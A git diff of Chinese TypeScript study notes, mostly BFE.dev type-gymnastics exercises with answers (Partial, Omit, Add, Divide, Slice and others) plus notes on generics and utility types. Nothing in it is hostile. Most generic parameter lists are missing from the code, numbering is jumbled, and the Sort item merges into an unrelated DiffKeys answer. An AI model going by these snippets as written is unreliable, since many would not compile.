实现字符串首字母大写,实际上TS已经内置了该工具类型,请尝试自己实现 - - ```ts - type A = MyCapitalize<'bfe'> // 'Bfe' - ``` - - **答案:** - - ```typescript - type MyCapitalize = T extends `${infer P}${infer U}` ? `${Uppercase

    }${U}` : T; - ``` - - -55. **实现Sort\** - - 升序排序。如果能够比较 `LargerThan` 和 `SmallerThan` 中的两个非负整数,那么你应该能够实现升序排序。 - - ```ts - type A = Sort<[100, 9, 20, 0, 0 55]> - // [0, 0, 9, 55, 100] - ``` - 找不同,即A,B中只存在一边的keys - - ```ts - type A = DiffKeys<{a: 1, b: 2}, {b: 1, c: 2}> // 'a' | 'c' - ``` - - **答案:** - - ```typescript - type DiffKeys< - A extends Record, - B extends Record - > = Exclude | Exclude - ``` - -56. **asserts never** - - 在`switch`,我们很容易犯一些错误,比如, - - ```ts - type Value = 'a' | 'b' | 'c'; - declare let value: Value - - switch (value) { - case 'a': - break; - case 'b': - break; - default: - break; - } - ``` - - 我们遗忘了case `c`,但是编辑器没有给予提示 - - 所以,请实现函数`assertsNever()`去检查以保证没有遗漏的case - - ```ts - type Value = 'a' | 'b' | 'c'; - declare let value: Value - - switch (value) { - case 'a': - break; - case 'b': - break; - default: - assertsNever(value) - break; - } - ``` - - 此时TypeScript会警告你缺失了case `c` - - **答案:** - - 可以通过的答案,但可能不太合适? - - ```typescript - function assertsNever (arg:never) { - throw new TypeError(`Missing case ${arg}`) - }; - ``` - -57. **实现Divide** - - 即计算A/B,保留整数结果,注意对0的处理 - - ```ts - type A = Divide<1, 0> // never - type B = Divide<4, 2> // 2 - type C = Divide<10, 3> // 3 - ``` - - **答案:** - - 可以理解为模拟计算,例如10/3,逐个减去3,计算可以减掉多少个3,直到剩下1,无法在被3减去,输出之前所减去的3的个数 - - ```typescript - type Tuple = - U['length'] extends T ? U : Tuple - - type Subtract< - A extends number, - B extends number - > = Tuple extends [...Tuple, ...infer R] ? R['length'] : never - - type SmallerThan< - A extends number, - B extends number, - S extends number[] = [] - > = S['length'] extends B - ? false - : S['length'] extends A - ? true - : SmallerThan - type Divide = - B extends 0 ? never : SmallerThan extends true ? S['length'] : Divide, B, [...S, any]>; - ``` - - -58. **实现Multiply** - - 即A\*B的计算,其中A,B均为非负整数 - - ```ts - type A = Multiply<1, 0> // 0 - type B = Multiply<4, 6> // 24 - ``` - - **答案:** - - ```ts - type Tuple = - U['length'] extends T ? U : Tuple - - type MinusOne = - Tuple extends [any, ...infer R] ? R['length'] : 0 - - type MultiplyHelper = - U extends 0 ? I['length'] : MultiplyHelper, [...T, ...I]> - - type Multiply = MultiplyHelper, B> - ``` - -59. **实现Subtract** - - 只需要考虑正整数,并且 B 保证小于或等于 A - - ```ts - type A = Subtract<1, 1> // 0 - type B = Subtract<10, 3> // 7 - type C = Subtract<3, 10> // never - ``` - - **答案:** - - ```ts - type _P = S extends 1 ? ( - // 1代表start已经相等了,在寻找end - T['length'] extends B ? [...C, 1]['length'] : _P - ) : ( - T['length'] extends B ? never : - // 先和2位匹配到为never - ( - _P - // 和第一位匹配到 - ) - ) - - type Subtract = A extends B ? 0 : _P - ``` - -60. **实现Slice** - - 即实现类似`Array.prototype.slice()` - - ```ts - type A = Slice<[1,2,3,4], 0, 2> // [1, 2] - type B = Slice<[1,2,3,4], 2> // [3, 4] - type C = Slice<[number, boolean, bigint], 2, 5> // [bigint] - type D = Slice<[string, boolean], 0, 1> // [string] - type E = Slice<[number, boolean, bigint], 5, 6> // [] - ``` - - 其中`E`不为负数 - - **答案:** - - ```ts - // 截取L之后的元素,包括L - type RemoveStart< - A extends any[], - L extends number, - ResultType extends any[] = [] - > = ResultType['length'] extends L ? A : ( - A extends [infer First, ...infer Rest] ? ( - RemoveStart - ) : [] - ); - - // 截取L之前的元素,不包括L - type RemoveEnd< - A extends any[], - L extends number, - ResultType extends any[] = [] - > = ResultType['length'] extends L ? ResultType : ( - A extends [infer First, ...infer Rest] ? ( - RemoveEnd - ) : [...ResultType, ...A] - ); - - type Slice< - A extends any[], - S extends number = 0, - E extends number = A['length'], - > = RemoveStart, S>; - ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" deleted file mode 100644 index fb8a669e..00000000 --- "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" +++ /dev/null @@ -1,251 +0,0 @@ ---- -date: 2022-12-04 -category: -- TypeScript ---- - -# BFE-TS TypeScript类型体操练习 Easy 1-10 - -题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! - -## Utility types 内置工具类型实现 - -1. **实现Partial** - - `Partial`返回一个包含所有`T`的子集的type。 - - ```ts - type Foo = { -  a: string -  b: number -  c: boolean - } - ​ - // below are all valid - ​ - const a: MyPartial = {} - ​ - const b: MyPartial = { -  a: 'BFE.dev' - } - ​ - const c: MyPartial = { -  b: 123 - } - ​ - const d: MyPartial = { -  b: 123, -  c: true - } - ​ - const e: MyPartial = { -  a: 'BFE.dev', -  b: 123, -  c: true - } - ``` - - **答案:** - - ```ts - type Partial = { -   [P in keyof T]?: T[P]; - }; - ``` - -0. **实现Required** - - 和`Partial`正好相反, `Required`会将所有的属性设为required。 - - ```ts - // all properties are optional - type Foo = { -  a?: string -  b?: number -  c?: boolean - } - ​ - ​ - const a: MyRequired = {} - // Error - ​ - const b: MyRequired = { -  a: 'BFE.dev' - } - // Error - ​ - const c: MyRequired = { -  b: 123 - } - // Error - ​ - const d: MyRequired = { -  b: 123, -  c: true - } - // Error - ​ - const e: MyRequired = { -  a: 'BFE.dev', -  b: 123, -  c: true - } - // valid - ``` - - **答案:** - - ```ts - type Required = { -   [P in keyof T]-?: T[P]; - }; - ``` - -0. **实现Readonly** - - **答案:** - - ```ts - type Readonly = { -    readonly [P in keyof T]: T[P]; - }; - ``` - -0. **实现Record** - - `Record`返回一个key是K值是V的object type。 - - ```ts - type Key = 'a' | 'b' | 'c' - ​ - const a: Record = { -  a: 'BFE.dev', -  b: 'BFE.dev', -  c: 'BFE.dev' - } - a.a = 'bigfrontend.dev' // OK - a.b = 123 // Error - a.d = 'BFE.dev' // Error - ​ - type Foo = MyRecord<{a: string}, string> // Error - ``` - - **答案:** - - ```ts - type Record = { -   [P in K]: T; - }; - ``` - -0. **实现Pick** - - `Pick`,正如其名所示,将从T中抽选出K中含有的属性然后返回一个新的type。 - - ```ts - type Foo = { -  a: string -  b: number -  c: boolean - } - ​ - type A = MyPick // {a: string, b: number} - type B = MyPick // {c: boolean} - type C = MyPick // Error - ``` - - **答案:** - - ```ts - type Pick = { -   [P in K]: T[P]; - }; - ``` - -0. **实现Omit** - - `Omit`返回一个从T的属性中剔除掉K过后的type。 - - ```ts - type Foo = { -  a: string -  b: number -  c: boolean - } - ​ - type A = MyOmit // {c: boolean} - type B = MyOmit // {a: string, b: number} - type C = MyOmit // {a: string, b: number} - ``` - - **答案:** - - ```ts - type Omit = Pick>; - ``` - -0. **实现Exclude** - - `Exclude`返回一个从T中去掉能代入K的成员后的type。 - - ```ts - type Foo = 'a' | 'b' | 'c' - ​ - type A = MyExclude // 'b' | 'c' - type B = MyExclude // 'a' | 'b - type C = MyExclude  // 'a' | 'b' - type D = MyExclude  // never - ``` - - **答案:** - - ```ts - type Exclude = T extends U ? never : T; - ``` - -0. **实现Extract** - - 和Exclude正好相反, `Extract`返回T中可以代入到U的成员所组成的type。 - - ```ts - type Foo = 'a' | 'b' | 'c' - ​ - type A = MyExtract // 'a' - type B = MyExtract // 'a' | 'b' - type C = MyExtract  // 'b' | 'c' - type D = MyExtract  // never - ``` - - **答案:** - - ```ts - type Extract = T extends U ? T : never; - ``` - -0. **实现NonNullable** - - 剔除 null | undefined 类型,表明非空 - - **答案:** - - ```ts - type NonNullable = T extends null | undefined ? never : T; - ``` - -0. **实现Parameters** - - 对于function type T, `Parameters` 返回一个由其参数type组成的tuple type。 - - ```ts - type Foo = (a: string, b: number, c: boolean) => string - ​ - type A = MyParameters // [a:string, b: number, c:boolean] - type B = A[0] // string - type C = MyParameters<{a: string}> // Error - ``` - - **答案:** - - ```ts - type Parameters any> = T extends (...args: infer P) => any ? P : never; - ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" deleted file mode 100644 index 7f7b5e1c..00000000 --- "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" +++ /dev/null @@ -1,200 +0,0 @@ ---- -date: 2022-12-05 -category: -- TypeScript ---- - -# BFE-TS TypeScript类型体操练习 Easy 11-20 - -题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! - -## Utility types 内置工具类型实现 11-15 - -11. **实现 ConstructorParameters\** - - Parameters处理的是function type。 与之类似,`ConstructorParameters`针对的是class,返回constructor function T的其参数type组成的tuple type。 - - ```ts - class Foo { - constructor (a: string, b: number, c: boolean) {} - } - - type C = MyConstructorParameters - // [a: string, b: number, c: boolean] - ``` - - **答案:** - - ```ts - type ConstructorParameters any> = T extends new (...args: infer P) => any ? P : never; - ``` - -12. **实现ReturnType\** - - `Parameters`处理的是参数, `ReturnType`,正如起名所述,处理的是function type T的返回值type - - ```ts - type Foo = () => {a: string} - - type A = MyReturnType // {a: string} - ``` - - 通过 infer 推断函数返回值 - - **答案:** - - ```ts - type ReturnType any> = T extends (...args: any) => infer R ? R : any; - ``` - -13. **实现InstanceType\** - - 对于constructor function type T,`InstanceType` 返回其instance type。 - - ```ts - class Foo {} - type A = MyInstanceType // Foo - type B = MyInstanceType<() => string> // Error - ``` - - 通过 infer 推断 new 后返回的类型 - - **答案:** - - ```ts - type InstanceType any> = T extends new (...args: any) => infer R ? R : any; - ``` - -14. **实现ThisParameterType\** - - 对于function type T,`ThisParameterType`返回`this` type。 如果没有指定,则使用`unknown`。 - - ```ts - function Foo(this: {a: string}) {} - function Bar() {} - - type A = MyThisParameterType // {a: string} - type B = MyThisParameterType // unknown - ``` - - 通过 infer 推断函数的 this 类型 - - **答案:** - - ```ts - type ThisParameterType = T extends (this: infer U, ...args: any[]) => any ? U : unknown; - ``` - -15. **实现OmitThisParameter\** - - `Function.prototype.bind()`返回一个`this`已经bind过后的function。 对于这种情况,可以用`OmitThisParameter`来增加type信息。 - - ```ts - function foo(this: {a: string}) {} - foo() // Error - - const bar = foo.bind({a: 'BFE.dev'}) - bar() // OK - - - type Foo = (this: {a: string}) => string - type Bar = MyOmitThisParameter // () => string - ``` - - 因推断时自动忽略函数的 this 类型,因此直接通过推断后的参数类型和返回值类型包装成个函数返回即可 - - **答案:** - - ```ts - type OmitThisParameter = unknown extends ThisParameterType ? T : T extends (...args: infer A) => infer R ? (...args: A) => R : T; - ``` - -## 16-20 常用工具类型 - -16. **实现FirstChar\** - - ```ts - type A = FirstChar<'BFE'> // 'B' - type B = FirstChar<'dev'> // 'd' - type C = FirstChar<''> // never - ``` - - **答案:** - - `TS`支持字符串使用`infer`推断,语法和模板字符串相似,因此使用`infer`即可完成。 - - ```ts - type FirstChar = T extends `${infer T}${any}` ? T : never - ``` - -17. **实现LastChar\** - - 类似于`FirstChar`,实现`LastChar`。 - - ```ts - type A = LastChar<'BFE'> // 'E' - type B = LastChar<'dev'> // 'v' - type C = LastChar<''> // never - ``` - - **答案:** - - 同样使用`infer`推断字符串中的类型。 - - ```ts - type LastChar = T extends `${infer F}${infer R}` - ? R extends '' - ? F - : LastChar - : never - ``` - -18. **实现 TupleToUnion\** - - 给定一个元组类型,实现 `TupleToUnion `以从中获取联合类型。 - - ```ts - type Foo = [string, number, boolean] - - type Bar = TupleToUnion // string | number | boolean - ``` - - **答案:** - - 这题考察的是索引访问类型`Indexed Access Types` - - ```ts - type TupleToUnion = T[number] - ``` - -19. **实现 FirstItem\** - - 和 `FirstChar`类似,请实现`FirstItem`来返回tuple type的第一个type。 - - ```ts - type A = FirstItem<[string, number, boolean]> // string - type B = FirstItem<['B', 'F', 'E']> // 'B' - ``` - - **答案:** - - ```typescript - type FirstItem = T extends [infer P, ...infer R] ? P : never - ``` - -20. **实现 IsNever\** - - 请实现`IsNever`用以判断T是否是never。 - - ```ts - type A = IsNever // true - type B = IsNever // false - type C = IsNever // false - ``` - - **答案:** - - ```typescript - type IsNever = [T] extends [never] ? true : false; - ``` - diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" deleted file mode 100644 index 4b5c16e5..00000000 --- "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" +++ /dev/null @@ -1,225 +0,0 @@ ---- -date: 2022-12-06 -category: -- TypeScript ---- - -# BFE-TS TypeScript类型体操练习 Easy 21-30 - -## 常用工具类型 - -21. **实现 ReplaceAll** - - 正如`String.prototype.replaceAll()`,请实现`ReplaceAll`。 - - ```ts - type A = ReplaceAll<'aba', 'b', ''> // 'aa' - type B = ReplaceAll<'ababbab', 'b', ''> // 'aaa' - ``` - - **答案:** - - 1、前、中、后分别取一下infer。 - - 2、 判断F不为空 - - ```ts - type ReplaceAll< - S extends string, - F extends string, - T extends string - > = F extends '' ? S : (S extends `${F}${infer R}` ? `${T}${ReplaceAll}` : - (S extends `${infer A}${F}${infer B}` ? `${A}${T}${ReplaceAll}` : - S extends `${infer A}${F}` ? `${ReplaceAll}${T}` : S - )); - ``` - -17. **实现 Trim\** - 正如`String.prototype.trim()`,请实现`Trim`。 - - ```ts - type A = Trim<' BFE.dev'> // 'BFE' - type B = Trim<' BFE. dev '> // 'BFE. dev' - type C = Trim<' BFE . dev '> // 'BFE . dev' - ``` - - **答案:** - - ```typescript - type Trim = T extends ` ${infer R}` - ? Trim - : T extends `${infer L} ` - ? Trim - : T - ``` - -18. **实现 Equal** - 检测俩类型是完全相同的 - - ```ts - Equal // true - Equal // false - Equal // true - Equal<'BFE', 'BFE'> // true - Equal<'BFE', string> // false - Equal<1 | 2, 2 | 1> // true - Equal<{a : number}, {a: number}> // true - ``` - - **答案:** - - ```typescript - type Equal = [T] extends [K] ? [K] extends [T] ? (keyof T extends keyof K ? keyof K extends keyof T ? true : false : false) : false : false; - - // or - - type Equals = - (() => T extends X ? 1 : 2) extends - (() => T extends Y ? 1 : 2) ? true : false; - ``` - -19. **实现 FindIndex** - 正如`Array.prototype.findIndex()`, 请实现`FindIndex`。 - - ```ts - type A = [any, never, 1, '2', true] - type B = FindIndex // 2 - type C = FindIndex // never - ``` - - **答案:** - - ```typescript - type Equals = - (() => T extends X ? 1 : 2) extends - (() => T extends Y ? 1 : 2) ? true : false; - - type FindIndex = - T extends [...infer Rest, infer EE] - ? Equals extends true - ? FindIndex extends never - ? Rest["length"] - : FindIndex - : FindIndex - : never; - ``` - -20. **实现 UnionToIntersection\** - 请实现`UnionToIntersection`用以从Union(或)得到Intersection(与/交)。 - - ```ts - type A = UnionToIntersection<{a: string} | {b: string} | {c: string}> - // {a: string} & {b: string} & {c: string} - ``` - - **答案:** - - ```typescript - type UnionToIntersection = - ( - U extends any - ? (x: U) => void - : never - ) extends ((x: infer I) => void) - ? I - : never - ``` - - 关于这是如何工作的可以参见[typescript - Transform union type to intersection type - Stack Overflow](https://stackoverflow.com/questions/50374908/transform-union-type-to-intersection-type) - -21. **实现 ToNumber\** - 请实现`ToNumber`用来转换字符串为整数。 - - ```ts - type A = ToNumber<'1'> // 1 - type B = ToNumber<'40'> // 40 - type C = ToNumber<'0'> // 0 - ``` - - **答案:** - - ```typescript - type ToNumber = - `${U['length']}` extends T - ? U['length'] - : ToNumber - ``` - -22. **实现 Add** - 实现`Add`计算正整数之和。 - - ```ts - type A = Add<1, 2> // 3 - type B = Add<0, 0> // 0 - ``` - - **答案:** - - ```typescript - type Tuple = U['length'] extends T ? U : Tuple - - type Add = [...Tuple, ...Tuple]['length'] - ``` - -23. **实现 SmallerThan** - - ```ts - type A = SmallerThan<0, 1> // true - type B = SmallerThan<1, 0> // false - type C = SmallerThan<10, 9> // false - ``` - - **答案:** - - ```typescript - type SmallerThan< - A extends number, - B extends number, - S extends number[] = [] - > = S['length'] extends B - ? false - : S['length'] extends A - ? true - : SmallerThan - ``` - -24. **实现 LargerThan** - - ```ts - type A = LargerThan<0, 1> // false - type B = LargerThan<1, 0> // true - type C = LargerThan<10, 9> // true - ``` - - **答案:** - - ```typescript - type LargerThan = - S['length'] extends A - ? false - : S['length'] extends B - ? true - : LargerThan - ``` - - 继续推进数组,直到它到达其中一个数字,到达的第一个数字就是较小的 - -25. **实现 Filter** - 实现`Filter`,返回T中能够assign给A的type所组成的新tuple。 - - ```ts - type A = Filter<[1,'BFE', 2, true, 'dev'], number> // [1, 2] - type B = Filter<[1,'BFE', 2, true, 'dev'], string> // ['BFE', 'dev'] - type C = Filter<[1,'BFE', 2, any, 'dev'], string> // ['BFE', any, 'dev'] - ``` - - **答案:** - - ```typescript - type Filter = - T extends [infer F, ...infer O] - ? [F] extends [A] - ? Filter - : Filter - : R - ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" deleted file mode 100644 index 17fa2746..00000000 --- "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 31-40.md" +++ /dev/null @@ -1,202 +0,0 @@ ---- -date: 2022-12-07 -category: -- TypeScript ---- - -# BFE-TS TypeScript类型体操练习 Easy 31-40 - -题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! - -## 常用工具类型 - -31. **实现 Repeat** - - 返回一个进行重复复制操作的元组 - - ```ts - type A = Repeat // [number, number, number] - type B = Repeat // [string, string] - type C = Repeat<1, 1> // [1, 1] - type D = Repeat<0, 0> // [] - ``` - - **答案:** - - 思路与RepeatString差不多 - - ```typescript - type Repeat = R['length'] extends C ? R : Repeat - ``` - -17. **实现 TupleToString\** - - 通过将所有字符串连接成为新的字符串类型 - - ```ts - type A = TupleToString<['a']> // 'a' - type B = TupleToString<['B', 'F', 'E']> // 'BFE' - type C = TupleToString<[]> // '' - ``` - - **答案:** - - ```typescript - type TupleToString = T extends [infer F, ...infer R] ? F extends string ? `${F}${TupleToString}` : never : ""; - ``` - -18. **实现 RepeatString** - - 类似于`String.prototype.repeat()`,即对字符串的重复复制,注意C为0的情况 - - ```ts - type A = RepeatString<'a', 3> // 'aaa' - type B = RepeatString<'a', 0> // '' - ``` - - **答案:** - - 即递归直至A(作为最终字符串的长度达到C的数值) - - ```typescript - type RepeatString = A['length'] extends C - ? '' - : `${T}${RepeatString}`; - ``` - -19. **实现 Push** - - 类似数组Push操作,入栈 - - ```ts - type A = Push<[1,2,3], 4> // [1,2,3,4] - type B = Push<[1], 2> // [1, 2] - type C = Push<[], string> // [string] - ``` - - **答案:** - - ```typescript - type Push = [...T, I] - ``` - -20. **实现 IsAny\** - - ```ts - type A = IsAny // false - type B = IsAny // true - type C = IsAny // false - type D = IsAny // false - ``` - - **答案:** - - 按照any作为顶级类型理解,就是说any是任何类型的父类,`any` 类型可以赋值给除了 `never `之外的任意其他类型,但反过来不能把 `unknown` 赋值给除了 `any` 之外的任何其他类型,但其他类型都可以赋值给 `unknown`。 - - ```typescript - type IsAny = [unknown] extends [T] ? ([T] extends [string | number | symbol | boolean] ? true : false) : false - ``` - - > **补:Any与Unknown的区别** - > - > unknow类型只是一个Top Type,而any既是一个Top Type也是一个Bottom Type。正因为如此编辑器才不会对any进行类型检查。 - > - > 总的来说:使用unknow还能保持类型安全,使用any就默认放弃类型检查。所以any是一个危险的类型,它可以自由转换为其他类型,其他类型也可以自由转换为any类型,编译器不对该类型的实例进行类型检查。所以开发者有义务确保不会发生错误解释类型的情况。 - - 一行的解决方法: - - ```typescript - type IsAny = 0 extends 1&T ? true:false; - ``` - -21. **实现 Shift\** - - 类似数组Shift操作,去除元组第一个元素 - - ```ts - type A = Shift<[1,2,3]> // [2,3] - type B = Shift<[1]> // [] - type C = Shift<[]> // [] - ``` - - **答案:** - - ```typescript - type Shift = T extends [infer P, ...infer M] ? M : [] - ``` - -22. **实现 IsEmptyType\** - - 检查T是否为空对象,注意any视为非空 - - ```ts - type A = IsEmptyType // false - type B = IsEmptyType<{a: 3}> // false - type C = IsEmptyType<{}> // true - type D = IsEmptyType // false - type E = IsEmptyType // false - type F = IsEmptyType // false - ``` - - **答案:** - - ```typescript - type IsEmptyType = T extends Record ? [keyof T] extends [never] ? true: false: false - ``` - - 抑或是分别检测是否为简单非空对象和Any类型 - - ```typescript - type simpleObject = { [key: string]: string } - type IsAny = false extends (true & T) ? true : false; - type IsEmptyType = IsAny extends true ? false : {} extends T ? T extends simpleObject ? true : false :false - ``` - -23. **实现 Flat\** - - 即实现元组类型扁平化 - - ```ts - type A = Flat<[1,2,3]> // [1,2,3] - type B = Flat<[1,[2,3], [4,[5,[6]]]]> // [1,2,3,4,5,6] - type C = Flat<[]> // [] - ``` - - **答案:** - - ```typescript - type Flat = T extends [infer K, ...infer R] ? (K extends any[] ? [...Flat,...Flat] : [K,...Flat]) : T - ``` - -24. **实现 ReverseTuple\** - - 即实现对元组类型的翻转 - - ```ts - type A = ReverseTuple<[string, number, boolean]> // [boolean, number, string] - type B = ReverseTuple<[1,2,3]> // [3,2,1] - type C = ReverseTuple<[]> // [] - ``` - - **答案:** - - ```typescript - type ReverseTuple = - T extends [...infer L, infer R] ? [R, ...ReverseTuple]: [] - ``` - -25. **实现 UnwrapPromise\** - - 即展开Promise,返回resolved后的类型 - - ```ts - type A = UnwrapPromise> // string - type B = UnwrapPromise> // null - type C = UnwrapPromise // Error - ``` - - **答案:** - - ```typescript - type UnwrapPromise> = T extends Promise ? P :never - ``` diff --git "a/src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" "b/src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" deleted file mode 100644 index 3fabb347..00000000 --- "a/src/TypeScript/\345\207\275\346\225\260\346\263\233\345\236\213.md" +++ /dev/null @@ -1,191 +0,0 @@ ---- -date: 2022-08-17 -category: -- TypeScript ---- - -# 函数泛型 - -## 箭头函数泛型 - -直接以内嵌式书写的箭头函数泛型,以复用函数 - -```ts -const foo = (x: T): T => x; - -const foo = (x: T): T => x; - -const foo = >(x: T): T => x; - -const foo: (x: T) => T = x => x; - -const identity = (arg: T): T => { - console.log(arg); - return arg; -}; - -const renderAuthorize = (Authorized: T): ((currentAuthority: CurrentAuthorityType) => T) => ( - currentAuthority: CurrentAuthorityType, - ): T => { - return - }; -``` - -## 普通函数泛型 - -```ts -/** - * 获取数组中最小值 (T泛型通用) - * @param {T[]} arr - * @returns {T} - */ -function getMin(arr:T[]):T{ - var min=arr[0]; - arr.forEach((value)=>{ - if(value{ - arr:T[]=[]; - add(ele:T){ - this.arr.push(ele); - } - min():T{ - var min=this.arr[0]; - this.arr.forEach(function (value) { - if(value(); -gm1.add(5); -gm1.add(3); -gm1.add(2); -gm1.add(9); -console.log(gm1.min()); - -var gm2= new GetMin(); -gm2.add("tom"); -gm2.add("jerry"); -gm2.add("jack"); -gm2.add("sunny"); -console.log(gm2.min()); -``` - -### 泛型函数接口 - -```ts -interface ConfigFn{ - (value:T):T; -} - -const getData:Confign=function(value:T):T{ - return value; -} -getData('张三'); -// getData(1243); //错误 - - -// 类似 Map Param 接口 -interface Param{ - [index:string]:any -} -``` - -## 泛型类接口 - -```ts -/** - * page分页对象 - */ -class Page{ - private currentPage:number=1; //当前页码 默认1 - private pageSize:number=10;//每页条数 默认为10 - private sortName:string; //排序字段 - private sortOrder:string="asc"; // 排序规则 asc | desc 默认为asc正序 - - - constructor(param:Param){ - if(param["currentPage"]){ - this.currentPage=param["currentPage"]; - } - if(param["pageSize"]){ - this.pageSize=param["pageSize"]; - } - if(param["sortName"]){ - this.sortName=param["sortName"]; - } - if(param["sortOrder"]){ - this.sortOrder=param["sortOrder"]; - } - } - - public getStartNum():number{ - return (this.currentPage-1)*this.pageSize; - } -} - - -class User{ - id:number;//id主键自增 - name:string;//姓名 - sex:number;//性别 1男 2女 - age:number;//年龄 - city:string;//城市 - describe:string;//描述 -} -``` - -## 泛型接口 - -```ts -interface BaseDao { - findById(id:number):T;//根据主键id查询一个实体 - findPageList(param:Param,page:Page):T[];//查询分页列表 - findPageCount(param:Param):number;//查询分页count - save(o:T):void;//保存一个实体 - update(o:T):void;//更新一个实体 - deleteById(id:number);//删除一个实体 -} -``` - -## 接口实现类 - -```ts -class UserDao implements BaseDao{ - findById(id:number):User{ - - return null; - } - findPageList(param:Param,page:Page):User[]{ - return []; - } - findPageCount(param:Param):number{ - return 0; - } - save(o:User):void{ - - } - update(o:User):void{ - - } - deleteById(id:number){ - - } -} -``` - diff --git "a/src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" "b/src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" deleted file mode 100644 index be88dbd9..00000000 --- "a/src/TypeScript/\345\267\245\345\205\267\347\261\273\345\236\213.md" +++ /dev/null @@ -1,191 +0,0 @@ ---- -date: 2022-08-17 -category: -- TypeScript ---- - -# TypeScript 工具类型 - -## 工具类型的分类 - -- **属性修饰工具类型。**对属性的修饰,包括对象属性和数组元素的可选/必选、只读/可写。 -- **结构工具类型**。对既有类型的裁剪、拼接、转换等,比如使用对一个对象类型裁剪得到一个新的对象类型,将联合类型结构转换到交叉类型结构。 -- **集合工具类型**。对集合(即联合类型)的处理,即交集、并集、差集、补集。 -- **模式匹配工具类型**。基于 infer 的模式匹配,即对一个既有类型特定位置类型的提取,比如提取函数类型签名中的返回值类型。 -- **模板字符串工具类**。模板字符串专属的工具类型,比如神奇地将一个对象类型中的所有属性名转换为大驼峰的形式。 - -## 属性修饰工具类型 - -这一部分的工具类型主要使用**属性修饰**、**映射类型**与**索引类型**相关(索引类型签名、索引类型访问、索引类型查询均有使用,因此这里直接用索引类型指代)。 - -### Partial, Required, Readonly - -Partial 与 Required 可以认为是一对工具类型,它们的功能是相反的,而在实现上,它们的唯一差异是在索引类型签名处的可选修饰符,Partial 是 `?`,即标记属性为可选,而 Required 则是 `-?`,相当于在原本属性上如果有 `?` 这个标记,则移除它。 - -```ts -type Partial = { - [P in keyof T]?: T[P]; - // [P in keyof T]+?: T[P]; -}; - -type Required = { - [P in keyof T]-?: T[P]; -}; - -type Readonly = { - readonly [P in keyof T]: T[P]; -}; -``` - -## 结构工具类型 - -这一部分的工具类型主要使用**条件类型**以及**映射类型**、**索引类型**。 - -结构工具类型其实又可以分为两类,**结构声明**和**结构处理**。 - -### Record 记录 - -```ts -type Record = { - [P in K]: T; -}; -``` - -其中,`K extends keyof any` 即为键的类型,这里使用 `extends keyof any` 标明,传入的 K 可以是单个类型,也可以是联合类型,而 T 即为属性的类型。 - -```ts -// 键名均为字符串,键值类型未知 -type Record1 = Record; -// 键名均为字符串,键值类型任意 -type Record2 = Record; -// 键名为字符串或数字,键值类型任意 -type Record3 = Record; -``` - -日常常用`Record` 和 `Record`来代替Object - -### 结构处理 Pick、Omit - -**Pick** - -```ts -type Pick = { - [P in K]: T[P]; -}; - -type Omit = Pick>; -``` - -Pick接受两个泛型参数,T 即是我们会进行结构处理的原类型(一般是对象类型),而 K 则被约束为 T 类型的键名联合类型。由于泛型约束是立即填充推导的,即你为第一个泛型参数传入 Foo 类型以后,K 的约束条件会立刻被填充。 - -```ts -interface Foo { - name: string; - age: number; - job: JobUnionType; -} - -type PickedFoo = Pick -``` - -等价于 - -```ts -type Pick = { - [P in "name" | "age"]: T[P]; -}; -``` - -联合类型的成员会被依次映射,并通过索引类型访问来获取到它们原本的类型。 - -**Omit** - -而对于 Omit 类型,看名字其实能 get 到它就是 Pick 的反向实现:**Pick 是保留这些传入的键**,比如从一个庞大的结构中**选择少数字段保留**,需要的是这些少数字段,而 **Omit 则是移除这些传入的键**,也就是从一个庞大的结构中**剔除少数字段**,需要的是剩余的多数部分。 - -```ts -type Omit = Pick>; -``` - -Omit 是基于 Pick 实现的,这也是 TypeScript 中成对工具类型的另一种实现方式。上面的 Partial 与 Required 